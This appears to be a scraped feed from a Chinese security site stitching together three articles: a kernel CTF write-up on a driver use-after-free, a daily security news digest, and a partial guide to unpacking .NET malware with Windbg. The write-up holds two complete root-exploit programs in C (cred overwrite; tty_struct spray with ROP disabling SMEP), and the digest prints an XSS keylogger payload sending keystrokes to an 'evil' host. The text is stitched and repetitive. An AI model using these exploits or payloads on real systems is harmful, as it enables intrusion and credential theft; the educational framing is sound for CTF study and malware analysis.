1.__int64__fastcallbabyopen(inode*inode,file*filp,__int64a3,__int64a4) 2.{ 3.char*v4;//rax@1 4.__int64v5;//rdx@1 5. 6._fentry__(inode,filp,a3,a4); 7.LODWORD(v4)=kmem_cache_alloc_trace(*((_QWORD*)&kmalloc_caches+6),0x24000C0LL,64LL); 8.babydev_struct.device_buf=v4; 9.babydev_struct.device_buf_len=64LL; 10.printk("deviceopen\n",0x24000C0LL,v5); 11.return0LL; 12.}

close函数:

1.__int64__fastcallbabyopen(inode*inode,file*filp,__int64a3,__int64a4) 2.{ 3.char*v4;//rax@1 4.__int64v5;//rdx@1 5. 6._fentry__(inode,filp,a3,a4); 7.LODWORD(v4)=kmem_cache_alloc_trace(*((_QWORD*)&kmalloc_caches+6),0x24000C0LL,64LL); 8.babydev_struct.device_buf=v4; 9.babydev_struct.device_buf_len=64LL; 10.printk("deviceopen\n",0x24000C0LL,v5); 11.return0LL; 12.}

ioctl函数:

1.__int64__fastcallbabyioctl(file*filp,__int64command,unsigned__int64arg,__int64a4) 2.{ 3.size_tv4;//rdx@1 4.size_tv5;//rbx@1 5.char*v6;//rax@2 6.__int64v7;//rdx@2 7.__int64result;//rax@2 8. 9._fentry__(filp,command,arg,a4); 10.v5=v4;silu 11.if((_DWORD)command==0x10001) 12.{ 13.kfree(babydev_struct.device_buf); 14.LODWORD(v6)=_kmalloc(v5,0x24000C0LL); 15.babydev_struct.device_buf=v6; 16.babydev_struct.device_buf_len=v5; 17.printk("allocdone\n",0x24000C0LL,v7); 18.result=0LL; 19.} 20.else 21.{ 22.printk(&default_arg_is_format_str,v4,v4); 23.result=-22LL; 24.} 25.returnresult; 26.}

write函数:

1.ssize_t__fastcallbabywrite(file*filp,constchar*buffer,size_tlength,loff_t*offset) 2.{ 3.unsigned__int64copy_len;//rdx@1 4.ssize_tresult;//rax@2 5.ssize_tv6;//rbx@3 6. 7._fentry__(filp,buffer,length,offset); 8.if(babydev_struct.device_buf) 9.{ 10.result=-2LL; 11.if(babydev_struct.device_buf_len>copy_len) 12.{ 13.v6=copy_len; 14.copy_from_user(babydev_struct.device_buf,buffer,copy_len); 15.result=v6; 16.} 17.} 18.else 19.{ 20.result=-1LL; 21.} 22.returnresult; 23.}

read函数:

1.ssize_t__fastcallbabyread(file*filp,char*buffer,size_tlength,loff_t*offset) 2.{ 3.unsigned__int64copy_len;//rdx@1 4.ssize_tresult;//rax@2 5.ssize_tv6;//rbx@3 6. 7._fentry__(filp,buffer,length,offset); 8.if(babydev_struct.device_buf) 9.{ 10.result=-2LL; 11.if(babydev_struct.device_buf_len>copy_len) 12.{ 13.v6=copy_len; 14.copy_to_user(buffer,babydev_struct.device_buf,copy_len); 15.result=v6; 16.} 17.} 18.else 19.{ 20.result=-1LL; 21.} 22.returnresult; 23.} 源码非常简单,大概就是有一个struct,其中保存了一个buf和一个size,buf在open时通过kmem_cache_alloc进行分配,这个分配其实是和kmalloc一个原理,这里我是通过查看源码发现的,具体查看的源码如下:

http://elixir.free-electrons.com/linux/v4.12/source/include/linux/slab.h#L480

1.static__always_inlinevoid*kmalloc(size_tsize,gfp_tflags) 2.{ 3.if(__builtin_constant_p(size)) 4.{ 5.if(size>KMALLOC_MAX_CACHE_SIZE) 6.returnkmalloc_large(size,flags); 7.#ifndefCONFIG_SLOB 8.if(!(flags&GFP_DMA)) 9.{ 10.intindex=kmalloc_index(size); 11. 12.if(!index) 13.returnZERO_SIZE_PTR; 14. 15.returnkmem_cache_alloc_trace(kmalloc_caches[index],flags,size); 16.} 17.#endif 18.} 19.return__kmalloc(size,flags); 20.}

ifndef 是满足的,因为我们可以默认没有使用slob(猜的,因为大多数时候都是slub和slab,其中又以slub居多),所以return kmem_cache_alloc_trace其实就是open时候调用的,这里是因为常数时候编译器做了一个优化,所以看起来和kmalloc好像不太一样。

好了,open的时候kmalloc了一个大小为64的空间,然后size设置为64,release的时候将会释放这个空间。read和write都会先检查buf指针是不是为NULL,不为NULL再检查大小是否满足要求,之后进行read和write操作,也就是向用户空间写或者读。

ioctl比较特殊,首先判断command是不是为0x10001,如果满足,将会释放之前的buf,新分配一个用户决定大小的空间,并且设置为size。

功能基本上就讲完了,乍一看好像没有漏洞,那是因为用户空间pwn的思维在限制你使用单线程的思维去考虑。如果是多线程呢?

我们假设我们打开了两个设备文件,也就是调用了两次open,第一次分配了,第二次其实将会覆盖第一次分配的buf,因为是全局的。有了这个思维,剩下的就好想了,如果我们release了第一个,第二个其实就已经是被释放过的了,这样,就造成了一个UAF了。

接下来我们就来讨论如何进行提权了,注意,题目是开启了SMEP保护的,从boot.sh中可以看出来。

2. 题目思路1.0

通过我们对slub分配器的了解,相同大小的会被放在一块,现在我们来想想,一个进程的权限,是由什么定的?相信你们都知道,uid,uid又保存在哪儿呢?答案是cred结构。cred结构在每一个进程中都有一个,并且保存了该进程的权限信息,如果我们能够修改到cred信息,那么事情就很简单了。

于是思路是,我们有了一个UAF,使某个进程的cred结构体被放进这个UAF的空间,然后我们能够控制这个cred结构体,通过write写入uid,万事大吉!

问题是,如何控制cred结构?别忘了,**相同大小的会被放在一块**,我们首先通过ioctl改变大小,使得和cred结构大小一样,接下来只需要在触发UAF的时候新建一个cred结构,新建的结构就很有可能被放进这个UAF的空间里,创建方法嘛,每一个进程都有,那么,新建一个进程不就好了?新建进程嘛,fork就解决了。

好了,只剩下一个问题,大小是多少?

方法一:查看源码。因为配置比较多,效率比较低,还容易错。

方法二:编译一个带符号的内核,直接查看。

这里怎么使用方法二就是另外一篇文章的内容了,大概就是编译一个源码,然后去看符号就行了。因为一般这种内核也就是默认编译,所以相对也会比较准确的。

如果查看源码,去掉debug选项,也可以计算出来,大小是0xa8。源码如下:

http://elixir.free-electrons.com/linux/v4.4.72/source/include/linux/cred.h#L118

1.structcred{ 2.atomic_tusage; 3.#ifdefCONFIG_DEBUG_CREDENTIALS 4.atomic_tsubscribers;/*numberofprocessessubscribed*/ 5.void*put_addr; 6.unsignedmagic; 7.#defineCRED_MAGIC0x43736564 8.#defineCRED_MAGIC_DEAD0x44656144 9.#endif 10.kuid_tuid;/*realUIDofthetask*/ 11.kgid_tgid;/*realGIDofthetask*/ 12.kuid_tsuid;/*savedUIDofthetask*/ 13.kgid_tsgid;/*savedGIDofthetask*/ 14.kuid_teuid;/*effectiveUIDofthetask*/ 15.kgid_tegid;/*effectiveGIDofthetask*/ 16.kuid_tfsuid;/*UIDforVFSops*/ 17.kgid_tfsgid;/*GIDforVFSops*/ 18.unsignedsecurebits;/*SUID-lesssecuritymanagement*/ 19.kernel_cap_tcap_inheritable;/*capsourchildrencaninherit*/ 20.kernel_cap_tcap_permitted;/*capswe'repermitted*/ 21.kernel_cap_tcap_effective;/*capswecanactuallyuse*/ 22.kernel_cap_tcap_bset;/*capabilityboundingset*/ 23.kernel_cap_tcap_ambient;/*Ambientcapabilityset*/ 24.#ifdefCONFIG_KEYS 25.unsignedcharjit_keyring;/*defaultkeyringtoattachrequestedkeysto*/ 26.structkey__rcu*session_keyring;/*keyringinheritedoverfork*/ 27.structkey*process_keyring;/*keyringprivatetothisprocess*/ 28.structkey*thread_keyring;/*keyringprivatetothisthread*/ 29.structkey*request_key_auth;/*assumedrequest_keyauthority*/ 30.#endif 31.#ifdefCONFIG_SECURITY 32.void*security;/*subjectiveLSMsecurity*/ 33.#endif 34.structuser_struct*user;/*realuserIDsubscription*/ 35.structuser_namespace*user_ns;/*user_nsthecapsandkeyringsarerelativeto.*/ 36.structgroup_info*group_info;/*supplementarygroupsforeuid/fsgid*/ 37.structrcu_headrcu;/*RCUdeletionhook*/ 38.};

对于不是很明确的type可以直接查找reference去查看typedef。同时通过查看源码,我们还轻松的找到了uid等等各种id的位置。那么直接把该改的都改为0就可以了。

方法就很简单了,看看exp吧。

1.#include<stdio.h> 2.#include<unistd.h> 3.#include<stdlib.h> 4.#include<fcntl.h> 5.#include<string.h> 6.#include<sys/types.h> 7.#include<sys/wait.h> 8.#include<sys/ioctl.h> 9.#include<pthread.h> 10.#defineCRED_SIZE168 11.#defineDEV_NAME"/dev/babydev" 12.charbuf[100]; 13.intmain() 14.{ 15.intfd1,fd2,ret; 16.charzero_buf[100]; 17.memset(zero_buf,0,sizeof(char)*100); 18.fd1=open(DEV_NAME,O_RDWR); 19.fd2=open(DEV_NAME,O_RDWR); 20. 21.ret=ioctl(fd1,0x10001,CRED_SIZE); 22. 23.close(fd1); 24. 25.intnow_uid=1000;//当前uid为1000 26.intpid=fork(); 27.if(pid<0) 28.{ 29.perror("forkerror"); 30.return0; 31.} 32. 33.if(!pid) 34.{ 35.//写入28个0,一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了。 36.ret=write(fd2,zero_buf,28); 37.now_uid=getuid(); 38.if(!now_uid) 39.{ 40.printf("getrootdone\n"); 41.//权限修改完毕,启动一个shell,就是root的shell了。 42.system("/bin/sh"); 43.exit(0); 44.} 45.else 46.{ 47.puts("failed?"); 48.exit(0); 49.} 50.} 51.else 52.{ 53.wait(NULL); 54.} 55.close(fd2); 56.return0; 57.}

3. 题目思路2.0

好了,第一种方法只是个开胃菜,非常简单非常粗暴,现在让我们来看看更麻烦的方法,使用tty_struct。关于tty的知识我在这里不想做过多解释,大家可以自行查找资料。反正tty也是一种设备,通过'/dev/ptmx'可以打开这个设备,我们要做的,就是去修改这个设备的函数指针,从而使得对这个设备的操作变为我们所能控制的,也就是说,我们控制了内核空间的执行流,完美!那么又该干点什么呢?

由于开启了smep,我们不能直接返回用户空间然后以ring0的身份调用函数。如果可以,那么只需要调用commit_creds(prepare_kernel_cred(NULL))就可以设置为root身份,可惜我们还有更多的工作要做。

既然问题是开启了smep,那么简单,我们反正都控制了执行流,把它关掉就好了。关掉的方法就是通过写入cr4寄存器,将smep位关掉就好了,关掉smep,我们就可以回去执行提权的函数啦。

可是光是控制一次执行流是没办法做这么多工作的,而且我们也没法执行用户空间指定的代码,方法嘛,也是我们常见的方法,ROP。

通过在内核空间进行ROP,执行内核代码,关掉smep,之后回用户空间提权,然后就可以打开shell啦。内核的ROP其实和用户空间ROP相差无几,不过还是有几个细节内容需要考虑,比如,栈在哪儿?没有栈咋ROP呢?没有栈,我们就自己造栈嘛,通过一个gadget,比如xchg eax, esp,注意这里是eax和esp,32位的,就可以做到了。原理就是由于在执行那个ioctl的时候eax正好是要执行的指令的地址,换句话说,就是gadget的地址,而eax截取了低32位,如果是整个64位,rax必然是一个内核空间的地址,可是低32位,就落到用户空间了。

于是我们mmap这个位置,xchg eax, esp,使得esp变为这个值,这样栈就落到了用户空间以内。虽然没法执行代码,但是可以获取数据啊,于是我们就从用户空间获取数据来ret,然后执行内核空间的代码。

好了,几个难点如下:

1) 如何获取控制流?已解决,通过UAF使得tty_struct覆盖我们释放的位置,我们可以控制tty_struct,然后改写它的操作即可。

2) 如何设定栈?已解决,xchg eax, esp。

3) 如何关掉smep?已解决,通过ROP调用内核空间的gadget写入关掉smep的新cr4值到cr4寄存器里。

4) 如何获取权限?已解决,在关掉smep之后,用户空间调用commit_creds(prepare_kernel_creds(0))即可,这两个函数都是位于内核空间的,可是只要我们知道他们的符号位置,就可以调用内核函数,因为回到用户空间之后,我们的特权还是ring 0的,只是内存位置回来了而已。

5) 如何获取shell?还需要解决?直接system("/bin/sh");不就完了,用户空间的代码可是我们自己写的啊!

6) 实际问题:如何写ROP链?

剩下一个实际问题需要我们解决了,主要是,怎么找gadget?

bzImage实际上是已经被压缩过得vmlinuz,我们需要通过linux源码里scripts目录下的extract-vmlinux来extract,之后直接通过ropper或者ROPGadgets获取gadget就可以了。

接下来就是要找哪些gadget的问题了,根据之前的问题,我们需要如下的gadget:

1) xchg eax, esp来设置栈,用这个gadget覆盖ioctl操作函数嘛。

2) 写入cr4,来关闭smep。

3) swapgs,回到用户空间之前的准备。

4) iretq,用来回到用户空间特权级方便打开shell。

5) commit_creds

6) prepare_kernel_cred

7) 打开shell。

前四个直接在刚才生成的gadget中去找就可以了,后三个中的4和5,需要内核符号,在/proc/kallsyms文件可以读取到内核所有符号的地址,所以解决了,最后一个打开shell,就是用户空间的地址,好了,解决完毕。

于是任务就简单了,让我们来看看exp:

1.#include<stdio.h> 2.#include<stdlib.h> 3.#include<unistd.h> 4.#include<sys/types.h> 5.#include<errno.h> 6.#include<sys/stat.h> 7.#include<sys/ioctl.h> 8.#include<fcntl.h> 9.#include<string.h> 10.#include<pty.h> 11.#include<sys/mman.h> 12.#include<sys/ipc.h> 13.#include<sys/sem.h> 14. 15.#defineTTY_STRUCT_SIZE0x2e0 16.#defineSPRAY_ALLOC_TIMES0x100 17. 18.intspray_fd[0x100]; 19. 20./* 21. 22.tty_struct: 23.intmagic;//4 24.structkrefkref;//4 25.structdevice*dev;//8 26.structtty_driver*driver;//8 27.conststructtty_operations*ops;//8,offset=4+4+8+8=24 28.[...] 29. 30.*/ 31. 32.structtty_operations{ 33.structtty_struct*(*lookup)(structtty_driver*driver, 34.structfile*filp,intidx); 35.int(*install)(structtty_driver*driver,structtty_struct*tty); 36.void(*remove)(structtty_driver*driver,structtty_struct*tty); 37.int(*open)(structtty_struct*tty,structfile*filp); 38.void(*close)(structtty_struct*tty,structfile*filp); 39.void(*shutdown)(structtty_struct*tty); 40.void(*cleanup)(structtty_struct*tty); 41.int(*write)(structtty_struct*tty, 42.constunsignedchar*buf,intcount); 43.int(*put_char)(structtty_struct*tty,unsignedcharch); 44.void(*flush_chars)(structtty_struct*tty); 45.int(*write_room)(structtty_struct*tty); 46.int(*chars_in_buffer)(structtty_struct*tty); 47.int(*ioctl)(structtty_struct*tty, 48.unsignedintcmd,unsignedlongarg); 49.long(*compat_ioctl)(structtty_struct*tty, 50.unsignedintcmd,unsignedlongarg); 51.void(*set_termios)(structtty_struct*tty,structktermios*old); 52.void(*throttle)(structtty_struct*tty); 53.void(*unthrottle)(structtty_struct*tty); 54.void(*stop)(structtty_struct*tty); 55.void(*start)(structtty_struct*tty); 56.void(*hangup)(structtty_struct*tty); 57.int(*break_ctl)(structtty_struct*tty,intstate); 58.void(*flush_buffer)(structtty_struct*tty); 59.void(*set_ldisc)(structtty_struct*tty); 60.void(*wait_until_sent)(structtty_struct*tty,inttimeout); 61.void(*send_xchar)(structtty_struct*tty,charch); 62.int(*tiocmget)(structtty_struct*tty); 63.int(*tiocmset)(structtty_struct*tty, 64.unsignedintset,unsignedintclear); 65.int(*resize)(structtty_struct*tty,structwinsize*ws); 66.int(*set_termiox)(structtty_struct*tty,structtermiox*tnew); 67.int(*get_icount)(structtty_struct*tty, 68.structserial_icounter_struct*icount); 69.conststructfile_operations*proc_fops; 70.}; 71. 72.typedefint__attribute__((regparm(3)))(*commit_creds_func)(unsignedlongcred); 73.typedefunsignedlong__attribute__((regparm(3)))(*prepare_kernel_cred_func)(unsignedlongcred); 74. 75./*Gadgets*/ 76.commit_creds_funccommit_creds=(commit_creds_func)0xffffffff810a1420; 77.prepare_kernel_cred_funcprepare_kernel_cred=(prepare_kernel_cred_func)0xffffffff810a1810; 78.unsignedlongnative_write_cr4=0xFFFFFFFF810635B0; 79.unsignedlongxchgeaxesp=0xFFFFFFFF81007808; 80.unsignedlongpoprdiret=0xFFFFFFFF813E7D6F; 81.//unsignedlongiretq=0xFFFFFFFF8181A797; 82.unsignedlongiretq=0xffffffff814e35ef; 83.unsignedlongswapgs=0xFFFFFFFF81063694; 84. 85./*status*/ 86.unsignedlonguser_cs,user_ss,user_eflags; 87.voidsave_stats(){ 88.asm( 89."movq%%cs,%0\n" 90."movq%%ss,%1\n" 91."pushfq\n" 92."popq%2\n" 93.:"=r"(user_cs),"=r"(user_ss),"=r"(user_eflags) 94.: 95.:"memory" 96.); 97.} 98. 99.voidget_shell(){ 100.//char*shell_str="/bin/sh"; 101.//char*args[]={shell_str,NULL}; 102.//execve(shell_str,args,NULL); 103.system("/bin/sh"); 104.} 105. 106.voidshellcode(){ 107.commit_creds(prepare_kernel_cred(0)); 108.} 109. 110.voidexploit(){ 111.char*buf=(char*)malloc(0x1000); 112.char*fake_file_operations=(char*)calloc(0x1000,1);//bigenoughtobefile_operations 113.structtty_operations*fake_tty_operations=(structtty_operations*)malloc(sizeof(structtty_operations)); 114. 115.save_stats(); 116. 117.memset(fake_tty_operations,0,sizeof(structtty_operations)); 118.fake_tty_operations->proc_fops=&fake_file_operations; 119.fake_tty_operations->ioctl=(unsignedlong)xchgeaxesp; 120. 121.intfd1=open("/dev/babydev",O_RDWR); 122.intfd2=open("/dev/babydev",O_RDWR); 123.intfd; 124.//ioctl(fd2,0x10001,0xa8);//thesame'11ascredstructsize 125.ioctl(fd2,0x10001,TTY_STRUCT_SIZE); 126.write(fd2,"helloworld",strlen("helloworld")); 127.close(fd1); 128.fd=fd2; 129. 130.//spraytty 131.puts("[+]Sprayingbufferwithtty_struct"); 132.for(inti=0;i<SPRAY_ALLOC_TIMES;i++){ 133.spray_fd[i]=open("/dev/ptmx",O_RDWR|O_NOCTTY); 134.if(spray_fd[i]<0){ 135.perror("opentty"); 136.} 137.} 138. 139.//nowwehaveatty_structinourbuffer 140.puts("[+]Readingbuffercontentfromkernelbuffer"); 141.longsize=read(fd,buf,32); 142.if(size<32){ 143.puts("[-]Readingnotcomplete!"); 144.printf("[-]Only%ldbytesread.\n",size); 145.} 146.puts("[+]Detectingbuffercontenttype"); 147.if(buf[0]!=0x01||buf[1]!=0x54){ 148.puts("[-]tty_structsprayfailed"); 149.printf("[-]Weshouldhave0x01and0x54,insteadwegot%02x%02x\n",buf[0],buf[1]); 150.puts("[-]Exiting..."); 151.exit(-1); 152.} 153. 154.puts("[+]Spraycomplete.Modifyingfunctionpointer"); 155.unsignedlong*temp=(unsignedlong*)&buf[24]; 156.*temp=(unsignedlong)fake_tty_operations; 157. 158.puts("[+]PreparingROPchain"); 159.unsignedlonglower_address=xchgeaxesp&0xFFFFFFFF; 160.unsignedlongbase=lower_address&~0xfff; 161.printf("[+]Baseaddressis%lx\n",base); 162.if(mmap(base,0x30000,7,MAP_PRIVATE|MAP_ANONYMOUS,-1,0)!=base){ 163.perror("mmap"); 164.exit(1); 165.} 166. 167.unsignedlongrop_chain[]={ 168.poprdiret, 169.0x6f0, 170.native_write_cr4, 171.(unsignedlong)shellcode, 172.swapgs, 173.base, 174.iretq, 175.(unsignedlong)get_shell, 176.user_cs, 177.user_eflags, 178.base+0x10000, 179.user_ss 180.}; 181.memcpy((void*)lower_address,rop_chain,sizeof(rop_chain)); 182. 183.puts("[+]Writingfunctionpointertothedriver"); 184.longlen=write(fd,buf,32); 185.if(len<0){ 186.perror("write"); 187.exit(1); 188.} 189. 190.puts("[+]Triggering"); 191.for(inti=0;i<256;i++){ 192.ioctl(spray_fd[i],0,0);//FFFFFFFF814D8AEDcallrax 193.} 194. 195.} 196. 197.intmain(){ 198.exploit(); 199.return0; 200.}

其中,tty_struct和tty_operations都是从源码里找到的结构,不太需要解释,file_operations的存在主要是给他一个有效的指针,避免一些可能出现的错误,然后save_state函数用来保存用户空间的cs、eflags、ss的值,在iretq的时候,需要提供rip,cs,eflags,用户栈位置,ss值,所以我们要提前保存好备用。

通过打开/dev/ptmx设备,我们就新建了tty_struct。

通过计算tty_struct的大小,提前使用ioctl将buf的大小设置为一样的大小,之后新建tty_struct的时候,tty_struct就会落在这个buf里。

之后我们通过修改tty_struct的tty_operations,设置为我们自己的tty_operations即可,我们自己的tty_operations再修改ioctl为xchg esp, eax来使得rsp指向用户空间。

而这里的位置我们提前mmap,放入rop_chain的内容,这样xchg之后rsp就指向了rop_chain开始的位置,进入了rop流程啦,最后rop结束,执行完毕,打开了root shell,提权成功!


总结

通过这道题目,我们大致了解了内核ctf题目的一个流程,还学习了利用tty_struct配合rop绕过smep进行利用的一个手法,当然,还学习了直接通过cred结构进行利用的手法,以及,我们知道了内核的漏洞和用户空间的不同之处,要按多线程的思路去考虑。

我觉得最重要的是,通过这篇文章,这道题目,我们知道了内核和用户空间的差异,以及怎么样去完成一个内核利用,和最最重要的,在不明白的时候,看!源!码! linux是个开源的操作系统,一定要利用好开源的优势,不懂的时候多去看看源码,一切都会简单许多。


参考

1. http://whereisk0shl.top/NCSTISC%20Linux%20Kernel%20pwn450%20writeup.html

2. https://0xax.gitbooks.io/linux-insides/content/SysCall/syscall-2.html



【技术分享】一道简单内核题入门内核利用
【技术分享】一道简单内核题入门内核利用
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4148.html

【知识】7月26日 - 每日安全知识热点

$
0
0
【知识】7月26日 - 每日安全知识热点

2017-07-26 10:51:56

阅读:800次
点赞(0)
收藏
来源: 安全客





【知识】7月26日 - 每日安全知识热点

作者:童话





【知识】7月26日 - 每日安全知识热点

热点概要:picoCTF Write-up:通过格式化字符串漏洞绕过ASLR、通过ldapsearch dump LAPS密码、通过Frida绕过Android SSL Pinning、使用ESP8266模块进行身份验证攻击、探索基于语音的身份认证系统命令注入、hackerone官博分享如何进行渗透测试前期的信息收集


资讯类:

IBM启动物联网、车联网安全测试服务

http://www.securityweek.com/ibm-launches-security-testing-services-cars-iot


【国际资讯】英国男子认罪,利用Mirai僵尸网络攻击德国电信近百万台路由器

http://bobao.360.cn/news/detail/4238.html


技术类:

picoCTF Write-up:通过格式化字符串漏洞绕过ASLR

https://0x00sec.org/t/picoctf-write-up-bypassing-aslr-via-format-string-bug/1920


通过ldapsearch dump LAPS密码

https://room362.com/post/2017/dump-laps-passwords-with-ldapsearch/


通过Frida绕过Android SSL Pinning

https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/


使用ESP8266模块进行身份验证攻击

https://medium.com/@tomac/deauthentication-attack-and-other-wifi-hacks-using-an-esp8266-module-14f9142b063d


Open Sourcing JA3:用于恶意软件检测的SSL/TLS客户端指纹识别项目

https://engineering.salesforce.com/open-sourcing-ja3-92c9e53c3c41


探索基于语音的身份认证系统命令注入

https://www.youtube.com/playlist?list=PLl6DAJhNeWAmOcGC38tLlFGdevLniiUmG


元数据:黑客最好的朋友

https://blog.sweepatic.com/metadata-hackers-best-friend/


针对有双因子认证站点的钓鱼手段

http://www.openskycorp.com/resource-center/blog/phishing-way-past-multi-factor-authentication/


hackerone官博分享如何进行渗透测试前期的信息收集

https://www.hackerone.com/blog/how-to-recon-and-content-discovery


Kali linux官方书籍

https://kali.training/downloads/Kali_Revealed_1st_edition.pdf


Unsupervised Clustering Under Temporal Feature Volatility in Network Stack Fingerprinting

http://irl.cs.tamu.edu/people/zain/papers/sigmetrics2016.pdf


XSS Keylogger

<imgsrc=xonerror='document.onkeypress=function(e){fetch("//evil?k="+String.fromCharCode(e.which))},this.remove();'>

from @i_bo0om




【知识】7月26日 - 每日安全知识热点
【知识】7月26日 - 每日安全知识热点
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4147.html

【技术分享】使用Windbg分析.NET恶意软件

$
0
0
【技术分享】使用Windbg分析.NET恶意软件

2017-07-26 14:16:45

阅读:342次
点赞(0)
收藏
来源: 安全客





【技术分享】使用Windbg分析.NET恶意软件

作者:myswsun





【技术分享】使用Windbg分析.NET恶意软件

作者:myswsun

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00 前言

.NET渐渐成为微软生态系统的重要组成部分,为不同的语言和硬件平台提供交互操作的共享框架。很多微软的工具(如PowerShell)和其他的管理函数都会依赖.NET平台。很明显,这使得.NET也成为恶意软件开发者的宠儿。因此,恶意软件研究人员必须熟悉这门语言并且能有必要的技能来分析这个平台的恶意软件。

分析工具(如ILSpy)帮助研究员反编译代码,但是不能用于自动分析多个样本。本文我们将介绍如何使用Windbg和微软提供的SOS扩展来分析.NET应用程序。

本文描述:

在.NET API中插入一个断点来分析PowerShell脚本

创建简单的脚本完成.NET样本自动化脱壳

另外,你能从我们的github上下载一个python脚本(基于Windbg pykd扩展),来自动分析.NET。这个脚本也在本文中有描述。


0x01 SOS扩展

SOS扩展为Windbg提供.NET支持。扩展提供了丰富的命令;本文我们将只介绍一些帮助分析的命令。

首先,SOS扩展不只一个库,且依赖于.NET的版本。在我们使用SOS扩展之前我们必须将库加载到Windbg中。

对于.NET 4,扩展位于CLR.dll,并且可以使用下面的命令加载:


【技术分享】使用Windbg分析.NET恶意软件

在.NET 2和3中,SOS扩展位于mscorwks库:


【技术分享】使用Windbg分析.NET恶意软件

下面是本文使用的命令:

!bpmd:这个命令用于在托管代码(.NET)中设置断点。命令有两个参数。第1个参数是函数所在的.NET dll,第2个是函数名

!CLRStack:显示CLR栈内容。对于确定.NET的参数很有用

!DumpObj:显示指定对象的信息

本文中,这3个命令用于针对一个指定的.NET API创建一个断点,以得到传入API的参数,并且显示内容。


0x02 用例#1:PowerShell分析

很少有人知道PowerShell能使用.NET框架。通过检查.NET API的用法,我们能自动化分析PowerShell。

例1:Start-Process API

这个例子中,我们将分析下面的PowerShell代码:


【技术分享】使用Windbg分析.NET恶意软件

当你执行这个任务时,PowerShell使用Process.Start() API。因此,我们能设置断点,能暂停代码执行(在加载SOS扩展之后):


【技术分享】使用Windbg分析.NET恶意软件

一旦设置断点后,我们输入g命令来执行PowerShell脚本。Windbg将断在Start-Process处:


【技术分享】使用Windbg分析.NET恶意软件

CLRStack命令显示了提供给Process.Start API的参数。在我们的例子中,参数是一个System.Diagnostics.ProcessStartInfo对象。


【技术分享】使用Windbg分析.NET恶意软件

最后,DumpObj命令显示这个对象的内容:


【技术分享】使用Windbg分析.NET恶意软件

ProcessStartInfo对象的第一个字段是一个System.String对象(名为filename)。我们能使用DumpObj得到对象的内容:


【技术分享】使用Windbg分析.NET恶意软件

我们能看那个filename字符串是notepad二进制文件的路径。

例2:DownloadFile API

在第二个例子中,我们将分析下面的代码:


【技术分享】使用Windbg分析.NET恶意软件

这个代码的目的是下载一个文件,并存储在硬盘上。这是恶意软件下载payload常用的技术。

我们在DownloadFile API处设置一个断点,并输入g执行PowerShell:


【技术分享】使用Windbg分析.NET恶意软件

当API执行时,WIndbg自动断下执行:


【技术分享】使用Windbg分析.NET恶意软件

我们还是使用CLRStack和DumpObj命令。根据微软内存布局的标准,我们能直接从寄存器中得到值(第一个字符串位于RDX+0xC,第二个位于R8+0xC):


【技术分享】使用Windbg分析.NET恶意软件

下面是执行的片段:


【技术分享】使用Windbg分析.NET恶意软件

0x03 用例#2:.NET脱壳

Talos每天都会处理加壳的恶意样本。我们最近确定了一个加壳的.NET可执行文件,其托管于一个叙利亚政府网站上:http://www[.]syriantax[.]gov[.]sy/css/igfxCUIService.exe。最初,我们想知道这是否是一个针对性的攻击的一部分。在进一步研究后,现在我们相信网站失陷了,并且被用于传播恶意软件。这个恶意软件原来是njRAT啊,一个知名远程管理工具,多年以来它传播甚广。尽管找到了RAT,但是我们觉得没啥特别的,我们认为写一篇关于njRAT脱壳的文章比较有用。

这个用例将解释如何处理未知的.NET壳,我们首先静态分析。我们也会使用Windbg动态分析,同时会创建一个Windbg脚本来自动化脱壳。

静态分析

我们使用de4dot来分析这个恶意软件,因为它能快速的识别已知壳。它是一个开源分析平台。


【技术分享】使用Windbg分析.NET恶意软件

本节,我们也会使用ILSpy,其也是个开源的.NET反编译器。

XORED变种(45c695e610d78178ec5ca6f4e1993afacf4e435b566cd2caf65408fb6080300f)

壳的入口点是ob6eaGgG7Bht6B35c0.G9puOotvCiNCkEEPD9.XHh0nc9pu,我们能使用ILSpy识别这个信息。


【技术分享】使用Windbg分析.NET恶意软件

首先,壳会解码一个base64编码的字符串(变量G9puOotvCiNCkEEPD9.EHQI8XHAH)。这个解码的字符串和第二个参数(作为XOR密钥)一起被传入函数G9puOotvCiNCkEEPD9.vovYCiNCk():


【技术分享】使用Windbg分析.NET恶意软件

浏览输出,我们能使用ILSpy浏览反编译的.NET代码来能观察XOR操作。可以看到“^”,能确定这是XOR操作。


【技术分享】使用Windbg分析.NET恶意软件

最后,函数的输出被作为Assembly.Load()的参数。这个函数用于加载.NET二进制。


【技术分享】使用Windbg分析.NET恶意软件

传入Assembly.Load()的参数是一个字节数组,其包含一个windows二进制(PE32)。这个例子中,脱壳的恶意软件就位于字节数组中。

AES变种(21acd3457c1a589e117988fe0456e50ed627f051a97ccd11bfeeaf3c0cd79bfe)

这个壳的变种中包含的逻辑是相同的,但是用AES加密(也叫Rijndael)而不是XOR混淆。


【技术分享】使用Windbg分析.NET恶意软件

最后,使用Assembly.Load()将解密的数据加载到内存中,

常见点

尽管每个分析的样本使用的算法是不同的,编码与加密逻辑是一样的。如果我们能转储Assembly.Load()的参数(字节数组变量),我们就能得到脱壳的恶意软件。

使用Windbg动态分析

.NET 版本4

为了动态分析.NET 4版本的样本,我们需要获得Windbg的SOS扩展。这个扩展能帮助微软调试器调试.NET 4。

让我们运行加壳的恶意软件。

第一步是在加载CLRJIT库时加断点:


【技术分享】使用Windbg分析.NET恶意软件

然后,我们加载Windbg的SOS扩展来分析.NET应用(托管应用):


【技术分享】使用Windbg分析.NET恶意软件

现在我们有新的.NET调试命令。我们能针对使用的.NET API设置断点。这个例子中,我们的目标是Assembly.Load():


【技术分享】使用Windbg分析.NET恶意软件

目前,在扩展中有个bug,需要执行命令两次。

现在,调试器将断在Assembly.Load()处:


【技术分享】使用Windbg分析.NET恶意软件

很明显,我们能使用CLRStack和DumpObj命令得到参数。这个例子中,我们只使用寄存器的内容。传入Assembly.Load()的参数位于栈上(ESP)。


【技术分享】使用Windbg分析.NET恶意软件

在栈上的第二个值是字节数组的指针:0x026b30b8。


【技术分享】使用Windbg分析.NET恶意软件

第二个参数0x5e00是字节数组的大小(红色部分),之后我们能看见PE文件头(MZ: 0x4d 0x5a)(蓝色)。我们能dump脱壳后的样本:


